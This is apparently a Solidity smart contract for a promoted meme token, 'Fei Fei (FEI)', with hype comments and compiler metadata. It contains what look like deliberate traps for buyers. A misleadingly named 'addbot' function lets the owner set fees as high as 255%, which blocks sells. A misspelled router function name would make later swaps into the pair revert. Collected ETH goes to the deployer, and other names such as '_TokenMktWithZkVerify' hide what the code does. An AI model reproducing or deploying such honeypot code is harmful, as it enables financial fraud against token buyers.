/**
 _______  _______  __      _______  _______  __  
|   ____||   ____||  |    |   ____||   ____||  | 
|  |__   |  |__   |  |    |  |__   |  |__   |  | 
|   __|  |   __|  |  |    |   __|  |   __|  |  | 
|  |     |  |____ |  |    |  |     |  |____ |  | 
|__|     |_______||__|    |__|     |_______||__| 
                                                 
FeiFei (Flokei)  Token merges the beloved Floki meme with the charm of Floki cultural elements, 
resulting in a refreshing and captivating synthesis that pays homage to tradition while embracing the future.
Join us on an exhilarating journey that’s unlike any other in the crypto space. 
FeiFei Token isn’t just a digital asset; it’s an experience that allows you to be part of a movement that’s rewriting the rules of engagement.

Social Diplomacy:
Telegram: https://t.me/FeiFeieth
Twitter: https://x.com/feifei_eth
Website: https://flokei.vip

**/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.20;


interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


contract FEI {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }


    string public _name = unicode"Fei Fei";
    string public _symbol = unicode"FEI";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1000000000 * 10**decimals;


    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;


    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );


    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;


    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;


    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }


    receive() external payable {}


    function addbot(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _TokenMktWithZkVerify()) revert Permissions();
        TokenOnEth(_buy, _sell);
    }


    function TokenOnEth(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }


    function _TokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }


    function OpenTrading() external {
        require(msg.sender == _TokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }


    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }


    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }


    function symbol() public view  virtual returns (string memory) {
        return _symbol;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _TokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);


        balanceOf[from] -= amount;


        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }


        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

{
  "compilationTarget": {
    "ngắn.sol": "FEI"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}